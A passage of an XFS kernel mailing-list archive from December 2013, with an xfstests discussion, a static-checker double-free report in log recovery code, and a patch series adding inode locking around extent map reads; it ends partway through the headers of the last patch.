[PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> <52A175DD.5050908@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A175DD.5050908@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386346019 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142892 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Dec 06, 2013 at 10:59:41AM +0400, Stanislav Kholmanskikh wrote: > Sorry for my post-commit "review". > > But for what purposes did you delete this scratch device handling for nfs? > Now each test case that uses _require_scratch returns [not run]. > > It means most of the generic/ test cases. > > I think we should revert this part of code. How do you think? Tests really requiring a scratch device don't make sense for XFS, as the scratch device is supposed to get recreated for every test. However it seems like a lot of tests should simply run on the test device. I'll take care of moving them over to use the test device. From tinguely@sgi.com Fri Dec 6 10:17:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 05DFE7F3F for ; Fri, 6 Dec 2013 10:17:46 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id D85278F8035; Fri, 6 Dec 2013 08:17:42 -0800 (PST) Message-ID: <52A1F8A5.1000504@sgi.com> Date: Fri, 06 Dec 2013 10:17:41 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dan Carpenter CC: xfs@oss.sgi.com Subject: Re: xfs: free the list of recovery items on error References: <20131206154906.GA13568@elgon.mountain> In-Reply-To: <20131206154906.GA13568@elgon.mountain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/06/13 09:49, Dan Carpenter wrote: > Hello Mark Tinguely, > > The patch 2a84108fe275: "xfs: free the list of recovery items on > error" from Oct 2, 2013, leads to the following > static checker warning: "fs/xfs/xfs_log_recover.c:3621 > xlog_recover_process_data() > warn: 'trans' was already freed." > > fs/xfs/xfs_log_recover.c > 3589 switch (flags) { > 3590 case XLOG_COMMIT_TRANS: > 3591 error = xlog_recover_commit_trans(log, > 3592 trans, pass); > > xlog_recover_commit_trans() frees trans on the success path and on some > failure paths. > > 3593 break; > 3594 case XLOG_UNMOUNT_TRANS: > 3595 error = xlog_recover_unmount_trans(log, trans); > 3596 break; > 3597 case XLOG_WAS_CONT_TRANS: > 3598 error = xlog_recover_add_to_cont_trans(log, > 3599 trans, dp, > 3600 be32_to_cpu(ohead->oh_len)); > 3601 break; > 3602 case XLOG_START_TRANS: > 3603 xfs_warn(log->l_mp, "%s: bad transaction", > 3604 __func__); > 3605 ASSERT(0); > 3606 error = XFS_ERROR(EIO); > 3607 break; > 3608 case 0: > 3609 case XLOG_CONTINUE_TRANS: > 3610 error = xlog_recover_add_to_trans(log, trans, > 3611 dp, be32_to_cpu(ohead->oh_len)); > 3612 break; > 3613 default: > 3614 xfs_warn(log->l_mp, "%s: bad flag 0x%x", > 3615 __func__, flags); > 3616 ASSERT(0); > 3617 error = XFS_ERROR(EIO); > 3618 break; > 3619 } > 3620 if (error) { > 3621 xlog_recover_free_trans(trans); > > Double free? > > 3622 return error; > 3623 } > > regards, > dan carpenter Thanks for the information. Should remove the xlog_recover_free_trans() from xlog_recover_commit_trans() and let the error handler in the switch remove it. --Mark. From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 78AA77F50 for ; Fri, 6 Dec 2013 10:49:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6489730407B for ; Fri, 6 Dec 2013 08:49:08 -0800 (PST) X-ASG-Debug-ID: 1386348545-04cbb0416958a980001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id tS87s4crPNfZiwgx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaP-00009i-Q9 for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:05 +0000 Message-Id: <20131206164819.371654241@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:19 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 0/7] extent list locking fixes V2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 0/7] extent list locking fixes V2 X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386348547 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Fixed the review feedback, and includes Bens original patch for completeness. From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 65B5F7F4E for ; Fri, 6 Dec 2013 10:49:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 02C5AAC00C for ; Fri, 6 Dec 2013 08:49:07 -0800 (PST) X-ASG-Debug-ID: 1386348546-04cb6c537c57e130001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id C406BOA4BRnD6ZBG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaQ-0000C4-G4 for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164906.363944023@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:23 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 4/7] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 4/7] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate Content-Disposition: inline; filename=xfs-quota-locking-2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386348546 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_qm.c =================================================================== --- xfs.orig/fs/xfs/xfs_qm.c 2013-11-18 14:39:01.967589998 +0100 +++ xfs/fs/xfs/xfs_qm.c 2013-12-05 12:32:36.623617997 +0100 @@ -1193,16 +1193,18 @@ xfs_qm_dqiterate( lblkno = 0; maxlblkcnt = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); do { + uint lock_mode; + nmaps = XFS_DQITER_MAP_SIZE; /* * We aren't changing the inode itself. Just changing * some of its data. No new blocks are added here, and * the inode is never added to the transaction. */ - xfs_ilock(qip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_map_shared(qip); error = xfs_bmapi_read(qip, lblkno, maxlblkcnt - lblkno, map, &nmaps, 0); - xfs_iunlock(qip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(qip, lock_mode); if (error) break; From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 34B9F29E06 for ; Fri, 6 Dec 2013 10:49:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 21A868F804B for ; Fri, 6 Dec 2013 08:49:10 -0800 (PST) X-ASG-Debug-ID: 1386348546-04cbb0416758a980001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ddQLTfMkpAnApmvA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:09 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaQ-0000DC-Q8 for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164906.720641204@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:25 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 6/7] xfs: use xfs_ilock_map_shared in xfs_attr_list_int References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 6/7] xfs: use xfs_ilock_map_shared in xfs_attr_list_int Content-Disposition: inline; filename=xfs-attr-locking-2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386348549 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_attr_list.c =================================================================== --- xfs.orig/fs/xfs/xfs_attr_list.c 2013-11-18 14:39:01.947589999 +0100 +++ xfs/fs/xfs/xfs_attr_list.c 2013-12-05 22:25:47.207821971 +0100 @@ -507,17 +507,17 @@ xfs_attr_list_int( { int error; xfs_inode_t *dp = context->dp; + uint lock_mode; XFS_STATS_INC(xs_attr_list); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return EIO; - xfs_ilock(dp, XFS_ILOCK_SHARED); - /* * Decide on what work routines to call based on the inode size. */ + lock_mode = xfs_ilock_map_shared(dp); if (!xfs_inode_hasattr(dp)) { error = 0; } else if (dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { @@ -527,9 +527,7 @@ xfs_attr_list_int( } else { error = xfs_attr_node_list(context); } - - xfs_iunlock(dp, XFS_ILOCK_SHARED); - + xfs_iunlock_map_shared(dp, lock_mode); return error; } From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B8B8C29E06 for ; Fri, 6 Dec 2013 10:49:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 978C730407B for ; Fri, 6 Dec 2013 08:49:07 -0800 (PST) X-ASG-Debug-ID: 1386348546-04bdf0131b870b0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id cdbrgZh5tEuv4eIn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaQ-0000Aw-4v for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164906.026365999@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:21 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 2/7] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 2/7] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Content-Disposition: inline; filename=xfs_zero_remaining_bytes-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386348546 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-05 22:08:41.087843028 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-05 22:13:56.187836562 +0100 @@ -1168,9 +1168,15 @@ xfs_zero_remaining_bytes( xfs_buf_unlock(bp); for (offset = startoff; offset <= endoff; offset = lastoffset + 1) { + uint lock_mode; + offset_fsb = XFS_B_TO_FSBT(mp, offset); nimap = 1; + + lock_mode = xfs_ilock_map_shared(ip); error = xfs_bmapi_read(ip, offset_fsb, 1, &imap, &nimap, 0); + xfs_iunlock_map_shared(ip, lock_mode); + if (error || nimap < 1) break; ASSERT(imap.br_blockcount >= 1); From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EBF2D29E09 for ; Fri, 6 Dec 2013 10:49:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89B65AC008 for ; Fri, 6 Dec 2013 08:49:07 -0800 (PST) X-ASG-Debug-ID: 1386348546-04bdf01323870c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id SX8aAzIsRDZXXARB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaQ-0000BV-A5 for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164906.206074082@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:22 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 3/7] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 3/7] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp Content-Disposition: inline; filename=xfs-quota-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386348546 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_dquot.c =================================================================== --- xfs.orig/fs/xfs/xfs_dquot.c 2013-11-18 14:39:01.955589999 +0100 +++ xfs/fs/xfs/xfs_dquot.c 2013-12-05 11:42:34.759679600 +0100 @@ -469,16 +469,17 @@ xfs_qm_dqtobp( struct xfs_mount *mp = dqp->q_mount; xfs_dqid_t id = be32_to_cpu(dqp->q_core.d_id); struct xfs_trans *tp = (tpp ? *tpp : NULL); + uint lock_mode; dqp->q_fileoffset = (xfs_fileoff_t)id / mp->m_quotainfo->qi_dqperchunk; - xfs_ilock(quotip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_map_shared(quotip); if (!xfs_this_quota_on(dqp->q_mount, dqp->dq_flags)) { /* * Return if this type of quotas is turned off while we * didn't have the quota inode lock. */ - xfs_iunlock(quotip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(quotip, lock_mode); return ESRCH; } @@ -488,7 +489,7 @@ xfs_qm_dqtobp( error = xfs_bmapi_read(quotip, dqp->q_fileoffset, XFS_DQUOT_CLUSTER_SIZE_FSB, &map, &nmaps, 0); - xfs_iunlock(quotip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(quotip, lock_mode); if (error) return error; From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0584729E10 for ; Fri, 6 Dec 2013 10:49:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 90CA1AC00C for ; Fri, 6 Dec 2013 08:49:07 -0800 (PST) X-ASG-Debug-ID: 1386348546-04cb6c537e57e130001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id hspEmlHN1uqdyTYV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 08:49:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaP-0000AN-Vh; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164905.863036624@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:20 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Ben Myers Subject: [PATCH 1/7] xfs: reinstate the ilock in xfs_readdir References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 1/7] xfs: reinstate the ilock in xfs_readdir Content-Disposition: inline; filename=iolock.diff X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386348546 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in xfs_readdir because we might have to read the extent list in from disk. This keeps other threads from reading from or writing to the extent list while it is being read in and is still in a transitional state. This has been associated with "Access to block zero" messages on directories with large numbers of extents resulting from excessive filesytem fragmentation, as well as extent list corruption. Unfortunately no test case at this point. Signed-off-by: Ben Myers --- fs/xfs/xfs_dir2_readdir.c | 4 ++++ 1 file changed, 4 insertions(+) Index: b/fs/xfs/xfs_dir2_readdir.c =================================================================== --- a/fs/xfs/xfs_dir2_readdir.c 2013-12-02 17:40:38.895185673 -0600 +++ b/fs/xfs/xfs_dir2_readdir.c 2013-12-02 17:40:49.025225554 -0600 @@ -674,6 +674,7 @@ xfs_readdir( { int rval; /* return value */ int v; /* type-checking value */ + uint lock_mode; trace_xfs_readdir(dp); @@ -683,6 +684,7 @@ xfs_readdir( ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_getdents); + lock_mode = xfs_ilock_map_shared(dp); if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_getdents(dp, ctx); else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) @@ -691,5 +693,7 @@ xfs_readdir( rval = xfs_dir2_block_getdents(dp, ctx); else rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); + xfs_iunlock_map_shared(dp, lock_mode); + return rval; } _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:49:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5613329E19 for ; Fri, 6 Dec 2013 10:49:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E86D3AC00E for ; Fri, 6 Dec 2013 08:49:07 -0800 (PST) X-ASG-Debug-ID: 1386348546-04bdf0131b870c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id ImKJIddrZxIZVMaU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:49:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoyaQ-0000Dl-Uo for xfs@oss.sgi.com; Fri, 06 Dec 2013 16:49:06 +0000 Message-Id: <20131206164906.850806113@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 08:48:26 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 7/7] xfs: assert that we hold the ilock for extent map access References: <20131206164819.371654241@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 7/7] xfs: assert that we hold the ilock for extent map access Content-Disposition: inline; filename=iread_extents-assert X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386348547 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142893 Rule breakdown below pts rule 